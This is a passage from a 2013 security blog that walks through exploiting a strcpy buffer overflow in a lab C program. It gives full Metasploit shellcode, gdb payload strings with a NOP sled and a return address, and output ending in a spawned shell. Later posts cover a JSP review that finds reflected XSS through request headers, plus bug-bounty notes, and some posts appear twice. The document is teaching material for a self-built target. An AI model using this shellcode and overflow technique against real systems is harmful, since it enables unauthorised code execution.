(try here (5)) and check what (changes and) options are available during
the compilation (what will be usefull to understand what protections
you can disable at the compilation stage.)
4. Example
We will need some example vulnerable to attack.
At my blog I decide to write about few cases how to exploit RCE
in webapps (6) so in a similar way we will try to find a vulnerable
example in C language.
https://github.com/search?q=extension%3AC+strcpy%28argv[1]%29&ref=cmdform
Searching in this way we will find few examples of 'lessons' described
by someone else. We will use this examples. First answer for our search
query is a program called 'vulnerable.c':
---<code>---
void main(int argc, char *argv[])
{
char buffer[512];
if (argc > 1)
strcpy(buffer,argv[1]);
}
---<code>---
Making sure, that "randomize_va_space" file has value '0', we will compile(7)
our vulnerable program:
* -ggdb - "Produce debugging information for use by GDB"
* -g - "Produce debugging information in the operating system's native format"
* -fno-stack-protector - disables the protection
k@debian:~/src/bugz$ gcc vulnerable.c -o vulnerable -ggdb -g -fno-stack-protector
We will fill the buffer of our program, to overflow it.
$ gdb -q ./vulnerable
(gdb) r `perl -e 'print "A"x524,"B"x4'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "A"x524,"B"x4'`
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb)
Ok. Program crashed.
No we will get a shellcode (from Metasploit from BackTrack5(8)).
To get on, we will use 'msfpayload':
root@bt:/pentest/exploits/framework3# msfpayload linux/x86/exec CMD=dash R |
msfencode -a x86 -e x86/alpha_mixed -b "\x00\x0a\x0d" -t c
[*] x86/alpha_mixed succeeded with size 142 (iteration=1)
unsigned char buf[] =
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56"
"\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68"
"\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b"
"\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34"
"\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58"
"\x61\x58\x4d\x4f\x70\x41\x41";
Using this command we will have a shellcode ready to use as our buffer value.
To get this working we must remember that we will need to substract from
our 'overflow'-value (524*"A"), length of our shellcode (142 bytes in
this case).
To exploit this vulnerability we will need this kind of situation:
[ A*382 ] + [ shellcode ] + [ B*4 ]
to set EIP (instruction pointer, holds the program counter, current instruction
address) to our "BBBB" string.
So now in 'gdb' we will use this string:
(gdb) r `perl -e 'print "A"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49
\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a
\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42
\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39
\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51
\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53
\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50
\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41","B"x4'`
Our output should look like this:
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) i r eip ebp esp
eip 0x42424242 0x42424242
ebp 0x4141704f 0x4141704f
esp 0xbffff540 0xbffff540
Ok. Now we must localize the beginning of our shellcode in memory:
(gdb) x/600wx $esp
(...)
0xbffff880: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff890: 0x41414141 0x41414141 0x41414141 0xc6d9e189
0xbffff8a0: 0x58f471d9 0x49495950 0x49494949 0x49494949
0xbffff8b0: 0x43434343 0x51374343 0x58416a5a 0x30413050
(...)
Ok. Let's check if the answer from gdb is the real one, which we want to
call by our overflow:
(gdb) x/s 0xbffff890
0xbffff890: 'A' <repeats 12 times>"\211, \341\331\306\331q\
364XPYIIIIIIIIIICCCCCC7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJICZVkV8Z9
CbE6CXVMRCLIZGCXToQcPhEPRHVOPbE9PnMYKSCbIxC5C0GpGpE4QqPsPhGpCgV3
LIXaXMOpAABBBB"
Almost good.
Instead of letter "A" we will use NOP ("no operation") instruction. It
will let us 'slide' to our address (where we want to return). Instead
of mentioned "B" value, let's use the value we've found before:
(gdb) r `perl -e 'print "\x90"x382,"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50
\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37
\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32
\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x43\x5a\x56
\x6b\x56\x38\x5a\x39\x43\x62\x45\x36\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a
\x47\x43\x58\x54\x6f\x51\x63\x50\x68\x45\x50\x52\x48\x56\x4f\x50\x62\x45
\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62\x49\x78\x43\x35\x43\x30\x47\x70\x47
\x70\x45\x34\x51\x71\x50\x73\x50\x68\x47\x70\x43\x67\x56\x33\x4c\x49\x58
\x61\x58\x4d\x4f\x70\x41\x41","\x90\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/k/src/bugz/vulnerable `perl -e 'print "\x90"x382,
"\x89\xe1\xd9\xc6\xd9\x71\xf4\x58\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49
\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30
\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50
\x38\x41\x42\x75\x4a\x49\x43\x5a\x56\x6b\x56\x38\x5a\x39\x43\x62\x45\x36
\x43\x58\x56\x4d\x52\x43\x4c\x49\x5a\x47\x43\x58\x54\x6f\x51\x63\x50\x68
\x45\x50\x52\x48\x56\x4f\x50\x62\x45\x39\x50\x6e\x4d\x59\x4b\x53\x43\x62
\x49\x78\x43\x35\x43\x30\x47\x70\x47\x70\x45\x34\x51\x71\x50\x73\x50\x68
\x47\x70\x43\x67\x56\x33\x4c\x49\x58\x61\x58\x4d\x4f\x70\x41\x41",
"\x90\xf8\xff\xbf"'`
process 4336 is executing new program: /bin/dash
$ uname -a
Linux debian 3.2.0-4-686-pae #1 SMP Debian 3.2.51-1 i686 GNU/Linux
$
And that's all. Now we have exploited a buffer overflow vulnerability.
Thanks!
1) ASLR
http://en.wikipedia.org/wiki/Address_space_layout_randomization
2) Tobias Klein -
http://www.trapkit.de
3) Python
https://wiki.python.org/moin/BeginnersGuide
http://en.wikibooks.org/wiki/Python_Programming
4) ASM
http://en.wikibooks.org/wiki/X86_Assembly
5) GCC
http://gcc.gnu.org/releases.html
6) Finding vulnerabilities at github.com
http://hauntit.blogspot.com/2013/06/en-rce-another-lesson.html
7) GCC Debugging options
http://gcc.gnu.org/onlinedocs/gcc-4.1.2/gcc/Debugging-Options.html
8) Metasploit
http://www.metasploit.com
Tuesday, 19 November 2013
[EN] Microsoft's bug bounty - updated
Yesterday was a day full of surprises.
Another nice email, this time from MS ;)
* Update @ 05.12.2013 *
http://technet.microsoft.com/en-us/security/cc308589.aspx
Thanks! ;)
Remember about responsible disclosure!
Cheers,
o/
Another nice email, this time from MS ;)
* Update @ 05.12.2013 *
http://technet.microsoft.com/en-us/security/cc308589.aspx
Thanks! ;)
Remember about responsible disclosure!
Cheers,
o/
[EN] LinkedIn Bug Bounty
It was a real pleasure to work with LinkedIn Security Team!
Thanks guys. ;)
 |
| LinkedIn bugbounty |
Thanks guys. ;)
Tuesday, 29 October 2013
[EN] JSP Code Review - part 1
Durning pentesting of webapps in various companies, often happens that
few pages are written in JSP.
I described here few different cases of testing webapps - by white box and/or black box
testing - so today I decide, why not do it again for JSP-based pages? ;)
For our purpose, a great example we can find at one of pages with tutorials
in section called 'HTTP Header Request Example'. Below I will show you
how we can check if this or that (or part of ;)) page is vulnerable to attacks.
(In case you don't know how to prepare your virtual environment for testing
JSP-based pages, check this site. Here you will find nearly step-by-step list
to install Tomcat with Java at your linux-box. If you will have any troubles
leave me an email or comment below.)
Ok. Let's get back to our JSP tutorial.
Example code will show headers after request to our 'test page'.
---<code>---
<%@ page import="java.io.*,java.util.*" %>
<html>
<head>
<title>HTTP Header Request Example</title>
</head>
<body>
<center>
<h2>HTTP Header Request Example</h2>
<table width="100%" border="1" align="center">
<tr bgcolor="#949494">
<th>Header Name</th><th>Header Value(s)</th>
</tr>
<%
Enumeration headerNames = request.getHeaderNames();
while(headerNames.hasMoreElements()) {
String paramName = (String)headerNames.nextElement();
out.print("<tr><td>" + paramName + "</td>\n");
String paramValue = request.getHeader(paramName);
out.println("<td> " + paramValue + "</td></tr>\n");
}
%>
</table>
</center>
</body>
</html>
---<code>---
Ok. Let's save this code as 'headers.jsp'.
It's not the problem to test this site by using Burp like it was described
in few mini-arts here but in this case we will do a little 'code review'. ;)
Few short examples was also described here or here. So here we will use
similar trick. In case we know that if user's input is not (or properly) sanitized
then it's possible to inject code in web.
So now we will search for 'something' that will print out 'text' (string) added
by user. In our JSP, it will befunction out.print. Let's find out if we can
grab this string in our source code:
# cat -n header.jsp | grep out.print
17 out.print("<tr><td>" + paramName + "</td>\n");
19 out.println("<td> " + paramValue + "</td></tr>\n");
#
Yes, we can. ;)
We can see 2 lines, both with 'some parameter/value names'.
Let's find out what are those:
(...)
String paramName = (String)headerNames.nextElement();
(...)
It seems to be some 'string', let's check the other 'parameter':
# grep paramValue header.jsp
String paramValue = request.getHeader(paramName);
out.println("<td> " + paramValue + "</td></tr>\n");
#
Great. So now we can see that 'paramName' is from request, and it gets
some header value(s) (getHeader() function). And, because its not filtered
in any way before printing out, we can try to inject here some code.
Let's check if we can change one of presented headers, for example,
lets change an user Agent.
To do that we can use DataTamper or mentioned Burp Proxy (but honestly
in my opinion for this kind of 'simple checking' - DataTamper will be fine.
Let's catch request to server (our 'header page' in JSP) and next we will
change value from userAgent to our favourite 'XSS payload':
Good luck with code review!
If you have any questions - as always - leave me an email. ;)
Cheers
o/
few pages are written in JSP.
I described here few different cases of testing webapps - by white box and/or black box
testing - so today I decide, why not do it again for JSP-based pages? ;)
For our purpose, a great example we can find at one of pages with tutorials
in section called 'HTTP Header Request Example'. Below I will show you
how we can check if this or that (or part of ;)) page is vulnerable to attacks.
(In case you don't know how to prepare your virtual environment for testing
JSP-based pages, check this site. Here you will find nearly step-by-step list
to install Tomcat with Java at your linux-box. If you will have any troubles
leave me an email or comment below.)
Ok. Let's get back to our JSP tutorial.
Example code will show headers after request to our 'test page'.
---<code>---
<%@ page import="java.io.*,java.util.*" %>
<html>
<head>
<title>HTTP Header Request Example</title>
</head>
<body>
<center>
<h2>HTTP Header Request Example</h2>
<table width="100%" border="1" align="center">
<tr bgcolor="#949494">
<th>Header Name</th><th>Header Value(s)</th>
</tr>
<%
Enumeration headerNames = request.getHeaderNames();
while(headerNames.hasMoreElements()) {
String paramName = (String)headerNames.nextElement();
out.print("<tr><td>" + paramName + "</td>\n");
String paramValue = request.getHeader(paramName);
out.println("<td> " + paramValue + "</td></tr>\n");
}
%>
</table>
</center>
</body>
</html>
---<code>---
Ok. Let's save this code as 'headers.jsp'.
It's not the problem to test this site by using Burp like it was described
in few mini-arts here but in this case we will do a little 'code review'. ;)
Few short examples was also described here or here. So here we will use
similar trick. In case we know that if user's input is not (or properly) sanitized
then it's possible to inject code in web.
So now we will search for 'something' that will print out 'text' (string) added
by user. In our JSP, it will befunction out.print. Let's find out if we can
grab this string in our source code:
# cat -n header.jsp | grep out.print
17 out.print("<tr><td>" + paramName + "</td>\n");
19 out.println("<td> " + paramValue + "</td></tr>\n");
#
Yes, we can. ;)
We can see 2 lines, both with 'some parameter/value names'.
Let's find out what are those:
(...)
String paramName = (String)headerNames.nextElement();
(...)
It seems to be some 'string', let's check the other 'parameter':
# grep paramValue header.jsp
String paramValue = request.getHeader(paramName);
out.println("<td> " + paramValue + "</td></tr>\n");
#
Great. So now we can see that 'paramName' is from request, and it gets
some header value(s) (getHeader() function). And, because its not filtered
in any way before printing out, we can try to inject here some code.
Let's check if we can change one of presented headers, for example,
lets change an user Agent.
To do that we can use DataTamper or mentioned Burp Proxy (but honestly
in my opinion for this kind of 'simple checking' - DataTamper will be fine.
Let's catch request to server (our 'header page' in JSP) and next we will
change value from userAgent to our favourite 'XSS payload':
 |
| Tampered header |
As a response from this not-filtered input, we can see nice and old XSS alert box ;)
 | |
| XSS in JSP webapp |
Good luck with code review!
If you have any questions - as always - leave me an email. ;)
Cheers
o/
Wednesday, 9 October 2013
[EN] Testing format strings bugs
Few weeks ago I wrote a short post about where you can find examples
to learn RCE vulnerabilities and how to exploit them.
Today I would like to present you similar story, this time for format string attacks.
Few examples of vulnerable codes you will find here. ;)
If you have any questions feel free to ask, but once again:
I will help you only with legal ideas, so please do not send me an emails
that you want steal someone's database ;) Thanks.
Enjoy!
o/
to learn RCE vulnerabilities and how to exploit them.
Today I would like to present you similar story, this time for format string attacks.
Few examples of vulnerable codes you will find here. ;)
If you have any questions feel free to ask, but once again:
I will help you only with legal ideas, so please do not send me an emails
that you want steal someone's database ;) Thanks.
Enjoy!
o/
Subscribe to:
Posts (Atom)